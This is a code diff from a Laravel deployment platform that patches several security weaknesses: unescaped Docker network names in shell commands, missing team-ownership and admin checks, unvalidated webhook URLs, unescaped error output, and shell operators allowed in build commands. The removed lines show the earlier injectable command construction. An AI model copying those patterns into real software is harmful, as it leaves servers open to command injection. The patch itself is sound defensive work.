=== 'static') { @@ -553,11 +560,7 @@ private function deploy_simple_dockerfile() private function deploy_dockerimage_buildpack() { $this->dockerImage = $this->application->docker_registry_image_name; - if (str($this->application->docker_registry_image_tag)->isEmpty()) { - $this->dockerImageTag = 'latest'; - } else { - $this->dockerImageTag = $this->application->docker_registry_image_tag; - } + $this->dockerImageTag = $this->resolveDockerImageTag(); // Check if this is an image hash deployment $isImageHash = str($this->dockerImageTag)->startsWith('sha256-'); @@ -574,6 +577,19 @@ private function deploy_dockerimage_buildpack() $this->rolling_update(); } + private function resolveDockerImageTag(): string + { + if ($this->pull_request_id !== 0 && str($this->dockerImagePreviewTag)->isNotEmpty()) { + return $this->dockerImagePreviewTag; + } + + if (str($this->application->docker_registry_image_tag)->isNotEmpty()) { + return $this->application->docker_registry_image_tag; + } + + return 'latest'; + } + private function deploy_docker_compose_buildpack() { if (data_get($this->application, 'docker_compose_location')) { @@ -1933,6 +1949,11 @@ private function query_logs() private function deploy_pull_request() { + if ($this->application->build_pack === 'dockerimage') { + $this->deploy_dockerimage_buildpack(); + + return; + } if ($this->application->build_pack === 'dockercompose') { $this->deploy_docker_compose_buildpack(); @@ -2015,9 +2036,11 @@ private function prepare_builder_image(bool $firstTry = true) $runCommand = "docker run -d --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; } else { if ($this->dockerConfigFileExists === 'OK') { - $runCommand = "docker run -d --network {$this->destination->network} --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; + $safeNetwork = escapeshellarg($this->destination->network); + $runCommand = "docker run -d --network {$safeNetwork} --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; } else { - $runCommand = "docker run -d --network {$this->destination->network} --name {$this->deployment_uuid} {$env_flags} --rm -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; + $safeNetwork = escapeshellarg($this->destination->network); + $runCommand = "docker run -d --network {$safeNetwork} --name {$this->deployment_uuid} {$env_flags} --rm -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; } } if ($firstTry) { @@ -3046,28 +3069,29 @@ private function build_image() $this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm '.self::NIXPACKS_PLAN_PATH), 'hidden' => true]); } else { // Dockerfile buildpack + $safeNetwork = escapeshellarg($this->destination->network); if ($this->dockerSecretsSupported) { // Modify the Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}"); $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); } } elseif ($this->dockerBuildkitSupported) { // BuildKit without secrets if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); } } else { // Traditional build with args if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); } } $base64_build_command = base64_encode($build_command); diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index 7f1feaa21..a2d08e1e8 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -678,6 +678,7 @@ private function upload_to_s3(): void } else { $network = $this->database->destination->network; } + $safeNetwork = escapeshellarg($network); $fullImageName = $this->getFullImageName(); @@ -689,13 +690,13 @@ private function upload_to_s3(): void if (isDev()) { if ($this->database->name === 'coolify-db') { $backup_location_from = '/var/lib/docker/volumes/coolify_dev_backups_data/_data/coolify/coolify-db-'.$this->server->ip.$this->backup_file; - $commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}"; + $commands[] = "docker run -d --network {$safeNetwork} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}"; } else { $backup_location_from = '/var/lib/docker/volumes/coolify_dev_backups_data/_data/databases/'.str($this->team->name)->slug().'-'.$this->team->id.'/'.$this->directory_name.$this->backup_file; - $commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}"; + $commands[] = "docker run -d --network {$safeNetwork} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}"; } } else { - $commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $this->backup_location:$this->backup_location:ro {$fullImageName}"; + $commands[] = "docker run -d --network {$safeNetwork} --name backup-of-{$this->backup_log_uuid} --rm -v $this->backup_location:$this->backup_location:ro {$fullImageName}"; } // Escape S3 credentials to prevent command injection diff --git a/app/Jobs/ProcessGithubPullRequestWebhook.php b/app/Jobs/ProcessGithubPullRequestWebhook.php index 041cd812c..01a512439 100644 --- a/app/Jobs/ProcessGithubPullRequestWebhook.php +++ b/app/Jobs/ProcessGithubPullRequestWebhook.php @@ -118,7 +118,7 @@ private function handleOpenAction(Application $application, ?GithubApp $githubAp if (! $found) { if ($application->build_pack === 'dockercompose') { - $preview = ApplicationPreview::create([ + $preview = ApplicationPreview::forceCreate([ 'git_type' => 'github', 'application_id' => $application->id, 'pull_request_id' => $this->pullRequestId, @@ -127,7 +127,7 @@ private function handleOpenAction(Application $application, ?GithubApp $githubAp ]); $preview->generate_preview_fqdn_compose(); } else { - $preview = ApplicationPreview::create([ + $preview = ApplicationPreview::forceCreate([ 'git_type' => 'github', 'application_id' => $application->id, 'pull_request_id' => $this->pullRequestId, diff --git a/app/Jobs/SendWebhookJob.php b/app/Jobs/SendWebhookJob.php index 607fda3fe..9d2a94606 100644 --- a/app/Jobs/SendWebhookJob.php +++ b/app/Jobs/SendWebhookJob.php @@ -9,6 +9,8 @@ use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\Http; +use Illuminate\Support\Facades\Log; +use Illuminate\Support\Facades\Validator; class SendWebhookJob implements ShouldBeEncrypted, ShouldQueue { @@ -40,6 +42,20 @@ public function __construct( */ public function handle(): void { + $validator = Validator::make( + ['webhook_url' => $this->webhookUrl], + ['webhook_url' => ['required', 'url', new \App\Rules\SafeWebhookUrl]] + ); + + if ($validator->fails()) { + Log::warning('SendWebhookJob: blocked unsafe webhook URL', [ + 'url' => $this->webhookUrl, + 'errors' => $validator->errors()->all(), + ]); + + return; + } + if (isDev()) { ray('Sending webhook notification', [ 'url' => $this->webhookUrl, diff --git a/app/Jobs/ValidateAndInstallServerJob.php b/app/Jobs/ValidateAndInstallServerJob.php index 288904471..ee8cf2797 100644 --- a/app/Jobs/ValidateAndInstallServerJob.php +++ b/app/Jobs/ValidateAndInstallServerJob.php @@ -45,7 +45,8 @@ public function handle(): void // Validate connection ['uptime' => $uptime, 'error' => $error] = $this->server->validateConnection(); if (! $uptime) { - $errorMessage = 'Server is not reachable. Please validate your configuration and connection.
Check this documentation for further help.

Error: '.$error; + $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8'); + $errorMessage = 'Server is not reachable. Please validate your configuration and connection.
Check this documentation for further help.

Error: '.$sanitizedError; $this->server->update([ 'validation_logs' => $errorMessage, 'is_validating' => false, @@ -197,7 +198,7 @@ public function handle(): void ]); $this->server->update([ - 'validation_logs' => 'An error occurred during validation: '.$e->getMessage(), + 'validation_logs' => 'An error occurred during validation: '.htmlspecialchars($e->getMessage(), ENT_QUOTES, 'UTF-8'), 'is_validating' => false, ]); } diff --git a/app/Livewire/Admin/Index.php b/app/Livewire/Admin/Index.php index b5f6d2929..d1345e7bf 100644 --- a/app/Livewire/Admin/Index.php +++ b/app/Livewire/Admin/Index.php @@ -6,7 +6,6 @@ use App\Models\User; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Auth; -use Illuminate\Support\Facades\Cache; use Livewire\Component; class Index extends Component @@ -22,16 +21,15 @@ class Index extends Component public function mount() { if (! isCloud() && ! isDev()) { - return redirect()->route('dashboard'); - } - if (Auth::id() !== 0 && ! session('impersonating')) { - return redirect()->route('dashboard'); + abort(403); } + $this->authorizeAdminAccess(); $this->getSubscribers(); } public function back() { + $this->authorizeAdminAccess(); if (session('impersonating')) { session()->forget('impersonating'); $user = User::find(0); @@ -45,6 +43,7 @@ public function back() public function submitSearch() { + $this->authorizeAdminAccess(); if ($this->search !== '') { $this->foundUsers = User::where(function ($query) { $query->where('name', 'like', "%{$this->search}%") @@ -61,19 +60,33 @@ public function getSubscribers() public function switchUser(int $user_id) { - if (Auth::id() !== 0) { - return redirect()->route('dashboard'); - } + $this->authorizeRootOnly(); session(['impersonating' => true]); $user = User::find($user_id); + if (! $user) { + abort(404); + } $team_to_switch_to = $user->teams->first(); - // Cache::forget("team:{$user->id}"); Auth::login($user); refreshSession($team_to_switch_to); return redirect(request()->header('Referer')); } + private function authorizeAdminAccess(): void + { + if (! Auth::check() || (Auth::id() !== 0 && ! session('impersonating'))) { + abort(403); + } + } + + private function authorizeRootOnly(): void + { + if (! Auth::check() || Auth::id() !== 0) { + abort(403); + } + } + public function render() { return view('livewire.admin.index'); diff --git a/app/Livewire/Boarding/Index.php b/app/Livewire/Boarding/Index.php index 0f6f45d83..170f0cdea 100644 --- a/app/Livewire/Boarding/Index.php +++ b/app/Livewire/Boarding/Index.php @@ -9,6 +9,7 @@ use App\Models\Team; use App\Services\ConfigurationRepository; use Illuminate\Support\Collection; +use Livewire\Attributes\Url; use Livewire\Component; use Visus\Cuid2\Cuid2; @@ -19,18 +20,18 @@ class Index extends Component 'prerequisitesInstalled' => 'handlePrerequisitesInstalled', ]; - #[\Livewire\Attributes\Url(as: 'step', history: true)] + #[Url(as: 'step', history: true)] public string $currentState = 'welcome'; - #[\Livewire\Attributes\Url(keep: true)] + #[Url(keep: true)] public ?string $selectedServerType = null; public ?Collection $privateKeys = null; - #[\Livewire\Attributes\Url(keep: true)] + #[Url(keep: true)] public ?int $selectedExistingPrivateKey = null; - #[\Livewire\Attributes\Url(keep: true)] + #[Url(keep: true)] public ?string $privateKeyType = null; public ?string $privateKey = null; @@ -45,7 +46,7 @@ class Index extends Component public ?Collection $servers = null; - #[\Livewire\Attributes\Url(keep: true)] + #[Url(keep: true)] public ?int $selectedExistingServer = null; public ?string $remoteServerName = null; @@ -66,7 +67,7 @@ class Index extends Component public Collection $projects; - #[\Livewire\Attributes\Url(keep: true)] + #[Url(keep: true)] public ?int $selectedProject = null; public ?Project $createdProject = null; @@ -121,7 +122,7 @@ public function mount() } if ($this->selectedExistingServer) { - $this->createdServer = Server::find($this->selectedExistingServer); + $this->createdServer = Server::ownedByCurrentTeam()->find($this->selectedExistingServer); if ($this->createdServer) { $this->serverPublicKey = $this->createdServer->privateKey->getPublicKey(); $this->updateServerDetails(); @@ -145,7 +146,7 @@ public function mount() } if ($this->selectedProject) { - $this->createdProject = Project::find($this->selectedProject); + $this->createdProject = Project::ownedByCurrentTeam()->find($this->selectedProject); if (! $this->createdProject) { $this->projects = Project::ownedByCurrentTeam(['name'])->get(); } @@ -431,13 +432,16 @@ public function getProjects() public function selectExistingProject() { - $this->createdProject = Project::find($this->selectedProject); + $this->createdProject = Project::ownedByCurrentTeam()->find($this->selectedProject); + if (! $this->createdProject) { + return $this->dispatch('error', 'Project not found.'); + } $this->currentState = 'create-resource'; } public function createNewProject() { - $this->createdProject = Project::create([ + $this->createdProject = Project::forceCreate([ 'name' => 'My first project', 'team_id' => currentTeam()->id, 'uuid' => (string) new Cuid2, diff --git a/app/Livewire/Destination/New/Docker.php b/app/Livewire/Destination/New/Docker.php index 70751fa03..141235590 100644 --- a/app/Livewire/Destination/New/Docker.php +++ b/app/Livewire/Destination/New/Docker.php @@ -24,7 +24,7 @@ class Docker extends Component #[Validate(['required', 'string'])] public string $name; - #[Validate(['required', 'string'])] + #[Validate(['required', 'string', 'max:255', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'])] public string $network; #[Validate(['required', 'string'])] @@ -77,7 +77,7 @@ public function submit() if ($found) { throw new \Exception('Network already added to this server.'); } else { - $docker = SwarmDocker::create([ + $docker = SwarmDocker::forceCreate([ 'name' => $this->name, 'network' => $this->network, 'server_id' => $this->selectedServer->id, @@ -88,7 +88,7 @@ public function submit() if ($found) { throw new \Exception('Network already added to this server.'); } else { - $docker = StandaloneDocker::create([ + $docker = StandaloneDocker::forceCreate([ 'name' => $this->name, 'network' => $this->network, 'server_id' => $this->selectedServer->id, diff --git a/app/Livewire/Destination/Show.php b/app/Livewire/Destination/Show.php index 98cf72376..f2cdad074 100644 --- a/app/Livewire/Destination/Show.php +++ b/app/Livewire/Destination/Show.php @@ -20,7 +20,7 @@ class Show extends Component #[Validate(['string', 'required'])] public string $name; - #[Validate(['string', 'required'])] + #[Validate(['string', 'required', 'max:255', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'])] public string $network; #[Validate(['string', 'required'])] @@ -84,8 +84,9 @@ public function delete() if ($this->destination->attachedTo()) { return $this->dispatch('error', 'You must delete all resources before deleting this destination.'); } - instant_remote_process(["docker network disconnect {$this->destination->network} coolify-proxy"], $this->destination->server, throwError: false); - instant_remote_process(['docker network rm -f '.$this->destination->network], $this->destination->server); + $safeNetwork = escapeshellarg($this->destination->network); + instant_remote_process(["docker network disconnect {$safeNetwork} coolify-proxy"], $this->destination->server, throwError: false); + instant_remote_process(["docker network rm -f {$safeNetwork}"], $this->destination->server); } $this->destination->delete(); diff --git a/app/Livewire/GlobalSearch.php b/app/Livewire/GlobalSearch.php index f910110dc..154748b47 100644 --- a/app/Livewire/GlobalSearch.php +++ b/app/Livewire/GlobalSearch.php @@ -1203,7 +1203,7 @@ public function selectServer($serverId, $shouldProgress = true) public function loadDestinations() { $this->loadingDestinations = true; - $server = Server::find($this->selectedServerId); + $server = Server::ownedByCurrentTeam()->find($this->selectedServerId); if (! $server) { $this->loadingDestinations = false; @@ -1280,7 +1280,7 @@ public function selectProject($projectUuid, $shouldProgress = true) public function loadEnvironments() { $this->loadingEnvironments = true; - $project = Project::where('uuid', $this->selectedProjectUuid)->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->selectedProjectUuid)->first(); if (! $project) { $this->loadingEnvironments = false; diff --git a/app/Livewire/Notifications/Discord.php b/app/Livewire/Notifications/Discord.php index b914fbd94..ab3884320 100644 --- a/app/Livewire/Notifications/Discord.php +++ b/app/Livewire/Notifications/Discord.php @@ -5,6 +5,7 @@ use App\Models\DiscordNotificationSettings; use App\Models\Team; use App\Notifications\Test; +use App\Rules\SafeWebhookUrl; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Attributes\Validate; use Livewire\Component; @@ -20,7 +21,7 @@ class Discord extends Component #[Validate(['boolean'])] public bool $discordEnabled = false; - #[Validate(['url', 'nullable'])] + #[Validate(['nullable', new SafeWebhookUrl])] public ?string $discordWebhookUrl = null; #[Validate(['boolean'])] diff --git a/app/Livewire/Notifications/Slack.php b/app/Livewire/Notifications/Slack.php index fa8c97ae9..f870b3986 100644 --- a/app/Livewire/Notifications/Slack.php +++ b/app/Livewire/Notifications/Slack.php @@ -5,6 +5,7 @@ use App\Models\SlackNotificationSettings; use App\Models\Team; use App\Notifications\Test; +use App\Rules\SafeWebhookUrl; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Attributes\Locked; use Livewire\Attributes\Validate; @@ -25,7 +26,7 @@ class Slack extends Component #[Validate(['boolean'])] public bool $slackEnabled = false; - #[Validate(['url', 'nullable'])] + #[Validate(['nullable', new SafeWebhookUrl])] public ?string $slackWebhookUrl = null; #[Validate(['boolean'])] diff --git a/app/Livewire/Notifications/Webhook.php b/app/Livewire/Notifications/Webhook.php index 8af70c6eb..630d422a9 100644 --- a/app/Livewire/Notifications/Webhook.php +++ b/app/Livewire/Notifications/Webhook.php @@ -5,6 +5,7 @@ use App\Models\Team; use App\Models\WebhookNotificationSettings; use App\Notifications\Test; +use App\Rules\SafeWebhookUrl; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Attributes\Validate; use Livewire\Component; @@ -20,7 +21,7 @@ class Webhook extends Component #[Validate(['boolean'])] public bool $webhookEnabled = false; - #[Validate(['url', 'nullable'])] + #[Validate(['nullable', new SafeWebhookUrl])] public ?string $webhookUrl = null; #[Validate(['boolean'])] diff --git a/app/Livewire/Project/AddEmpty.php b/app/Livewire/Project/AddEmpty.php index 974f0608a..a2581a5c9 100644 --- a/app/Livewire/Project/AddEmpty.php +++ b/app/Livewire/Project/AddEmpty.php @@ -30,7 +30,7 @@ public function submit() { try { $this->validate(); - $project = Project::create([ + $project = Project::forceCreate([ 'name' => $this->name, 'description' => $this->description, 'team_id' => currentTeam()->id, diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index 5c186af70..6fd063cf3 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -146,9 +146,9 @@ protected function rules(): array 'gitRepository' => 'required', 'gitBranch' => 'required', 'gitCommitSha' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], - 'installCommand' => 'nullable', - 'buildCommand' => 'nullable', - 'startCommand' => 'nullable', + 'installCommand' => ValidationPatterns::shellSafeCommandRules(), + 'buildCommand' => ValidationPatterns::shellSafeCommandRules(), + 'startCommand' => ValidationPatterns::shellSafeCommandRules(), 'buildPack' => 'required', 'staticImage' => 'required', 'baseDirectory' => array_merge(['required'], array_slice(ValidationPatterns::directoryPathRules(), 1)), @@ -200,6 +200,9 @@ protected function messages(): array 'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', 'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', 'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', + 'installCommand.regex' => 'The install command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', + 'buildCommand.regex' => 'The build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', + 'startCommand.regex' => 'The start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', 'preDeploymentCommandContainer.regex' => 'The pre-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', 'postDeploymentCommandContainer.regex' => 'The post-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', 'name.required' => 'The Name field is required.', @@ -732,6 +735,7 @@ public function setRedirect() $this->authorize('update', $this->application); try { + $this->application->redirect = $this->redirect; $has_www = collect($this->application->fqdns)->filter(fn ($fqdn) => str($fqdn)->contains('www.'))->count(); if ($has_www === 0 && $this->application->redirect === 'www') { $this->dispatch('error', 'You want to redirect to www, but you do not have a www domain set.

Please add www to your domain list and as an A DNS record (if applicable).'); diff --git a/app/Livewire/Project/Application/Previews.php b/app/Livewire/Project/Application/Previews.php index 41f352c14..c61a4e4a7 100644 --- a/app/Livewire/Project/Application/Previews.php +++ b/app/Livewire/Project/Application/Previews.php @@ -35,8 +35,17 @@ class Previews extends Component public array $previewFqdns = []; + public array $previewDockerTags = []; + + public ?int $manualPullRequestId = null; + + public ?string $manualDockerTag = null; + protected $rules = [ 'previewFqdns.*' => 'string|nullable', + 'previewDockerTags.*' => 'string|nullable', + 'manualPullRequestId' => 'integer|min:1|nullable', + 'manualDockerTag' => 'string|nullable', ]; public function mount() @@ -53,12 +62,17 @@ private function syncData(bool $toModel = false): void $preview = $this->application->previews->get($key); if ($preview) { $preview->fqdn = $fqdn; + if ($this->application->build_pack === 'dockerimage') { + $preview->docker_registry_image_tag = $this->previewDockerTags[$key] ?? null; + } } } } else { $this->previewFqdns = []; + $this->previewDockerTags = []; foreach ($this->application->previews as $key => $preview) { $this->previewFqdns[$key] = $preview->fqdn; + $this->previewDockerTags[$key] = $preview->docker_registry_image_tag; } } } @@ -174,7 +188,7 @@ public function generate_preview($preview_id) } } - public function add(int $pull_request_id, ?string $pull_request_html_url = null) + public function add(int $pull_request_id, ?string $pull_request_html_url = null, ?string $docker_registry_image_tag = null) { try { $this->authorize('update', $this->application); @@ -182,7 +196,7 @@ public function add(int $pull_request_id, ?string $pull_request_html_url = null) $this->setDeploymentUuid(); $found = ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found && ! is_null($pull_request_html_url)) { - $found = ApplicationPreview::create([ + $found = ApplicationPreview::forceCreate([ 'application_id' => $this->application->id, 'pull_request_id' => $pull_request_id, 'pull_request_html_url' => $pull_request_html_url, @@ -195,13 +209,18 @@ public function add(int $pull_request_id, ?string $pull_request_html_url = null) } else { $this->setDeploymentUuid(); $found = ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', $pull_request_id)->first(); - if (! $found && ! is_null($pull_request_html_url)) { - $found = ApplicationPreview::create([ + if (! $found && (! is_null($pull_request_html_url) || ($this->application->build_pack === 'dockerimage' && str($docker_registry_image_tag)->isNotEmpty()))) { + $found = ApplicationPreview::forceCreate([ 'application_id' => $this->application->id, 'pull_request_id' => $pull_request_id, - 'pull_request_html_url' => $pull_request_html_url, + 'pull_request_html_url' => $pull_request_html_url ?? '', + 'docker_registry_image_tag' => $docker_registry_image_tag, ]); } + if ($found && $this->application->build_pack === 'dockerimage' && str($docker_registry_image_tag)->isNotEmpty()) { + $found->docker_registry_image_tag = $docker_registry_image_tag; + $found->save(); + } $found->generate_preview_fqdn(); $this->application->refresh(); $this->syncData(false); @@ -217,37 +236,50 @@ public function force_deploy_without_cache(int $pull_request_id, ?string $pull_r { $this->authorize('deploy', $this->application); - $this->deploy($pull_request_id, $pull_request_html_url, force_rebuild: true); + $dockerRegistryImageTag = null; + if ($this->application->build_pack === 'dockerimage') { + $dockerRegistryImageTag = $this->application->previews() + ->where('pull_request_id', $pull_request_id) + ->value('docker_registry_image_tag'); + } + + $this->deploy($pull_request_id, $pull_request_html_url, force_rebuild: true, docker_registry_image_tag: $dockerRegistryImageTag); } - public function add_and_deploy(int $pull_request_id, ?string $pull_request_html_url = null) + public function add_and_deploy(int $pull_request_id, ?string $pull_request_html_url = null, ?string $docker_registry_image_tag = null) { $this->authorize('deploy', $this->application); - $this->add($pull_request_id, $pull_request_html_url); - $this->deploy($pull_request_id, $pull_request_html_url); + $this->add($pull_request_id, $pull_request_html_url, $docker_registry_image_tag); + $this->deploy($pull_request_id, $pull_request_html_url, force_rebuild: false, docker_registry_image_tag: $docker_registry_image_tag); } - public function deploy(int $pull_request_id, ?string $pull_request_html_url = null, bool $force_rebuild = false) + public function deploy(int $pull_request_id, ?string $pull_request_html_url = null, bool $force_rebuild = false, ?string $docker_registry_image_tag = null) { $this->authorize('deploy', $this->application); try { $this->setDeploymentUuid(); $found = ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', $pull_request_id)->first(); - if (! $found && ! is_null($pull_request_html_url)) { - ApplicationPreview::create([ + if (! $found && (! is_null($pull_request_html_url) || ($this->application->build_pack === 'dockerimage' && str($docker_registry_image_tag)->isNotEmpty()))) { + $found = ApplicationPreview::forceCreate([ 'application_id' => $this->application->id, 'pull_request_id' => $pull_request_id, - 'pull_request_html_url' => $pull_request_html_url, + 'pull_request_html_url' => $pull_request_html_url ?? '', + 'docker_registry_image_tag' => $docker_registry_image_tag, ]); } + if ($found && $this->application->build_pack === 'dockerimage' && str($docker_registry_image_tag)->isNotEmpty()) { + $found->docker_registry_image_tag = $docker_registry_image_tag; + $found->save(); + } $result = queue_application_deployment( application: $this->application, deployment_uuid: $this->deployment_uuid, force_rebuild: $force_rebuild, pull_request_id: $pull_request_id, git_type: $found->git_type ?? null, + docker_registry_image_tag: $docker_registry_image_tag, ); if ($result['status'] === 'queue_full') { $this->dispatch('error', 'Deployment queue full', $result['message']); @@ -277,6 +309,32 @@ protected function setDeploymentUuid() $this->parameters['deployment_uuid'] = $this->deployment_uuid; } + public function addDockerImagePreview() + { + $this->authorize('deploy', $this->application); + $this->validateOnly('manualPullRequestId'); + $this->validateOnly('manualDockerTag'); + + if ($this->application->build_pack !== 'dockerimage') { + $this->dispatch('error', 'Manual Docker Image previews are only available for Docker Image applications.'); + + return; + } + + if ($this->manualPullRequestId === null || str($this->manualDockerTag)->isEmpty()) { + $this->dispatch('error', 'Both pull request id and docker tag are required.'); + + return; + } + + $dockerTag = str($this->manualDockerTag)->trim()->value(); + + $this->add_and_deploy($this->manualPullRequestId, null, $dockerTag); + + $this->manualPullRequestId = null; + $this->manualDockerTag = null; + } + private function stopContainers(array $containers, $server) { $containersToStop = collect($containers)->pluck('Names')->toArray(); diff --git a/app/Livewire/Project/CloneMe.php b/app/Livewire/Project/CloneMe.php index 3b3e42619..93eb2a78c 100644 --- a/app/Livewire/Project/CloneMe.php +++ b/app/Livewire/Project/CloneMe.php @@ -54,7 +54,7 @@ protected function messages(): array public function mount($project_uuid) { $this->project_uuid = $project_uuid; - $this->project = Project::where('uuid', $project_uuid)->firstOrFail(); + $this->project = Project::ownedByCurrentTeam()->where('uuid', $project_uuid)->firstOrFail(); $this->environment = $this->project->environments->where('uuid', $this->environment_uuid)->first(); $this->project_id = $this->project->id; $this->servers = currentTeam() @@ -100,7 +100,7 @@ public function clone(string $type) if ($foundProject) { throw new \Exception('Project with the same name already exists.'); } - $project = Project::create([ + $project = Project::forceCreate([ 'name' => $this->newName, 'team_id' => currentTeam()->id, 'description' => $this->project->description.' (clone)', @@ -139,7 +139,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'status' => 'exited', 'started_at' => null, @@ -187,7 +187,8 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + 'uuid', + ])->forceFill([ 'name' => $newName, 'resource_id' => $newDatabase->id, ]); @@ -216,7 +217,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resource_id' => $newDatabase->id, ]); $newStorage->save(); @@ -229,7 +230,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'database_id' => $newDatabase->id, 'database_type' => $newDatabase->getMorphClass(), @@ -247,7 +248,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill($payload); + ])->forceFill($payload); $newEnvironmentVariable->save(); } } @@ -258,7 +259,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'environment_id' => $environment->id, 'destination_id' => $this->selectedDestination, @@ -276,7 +277,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => (string) new Cuid2, 'service_id' => $newService->id, 'team_id' => currentTeam()->id, @@ -290,7 +291,7 @@ public 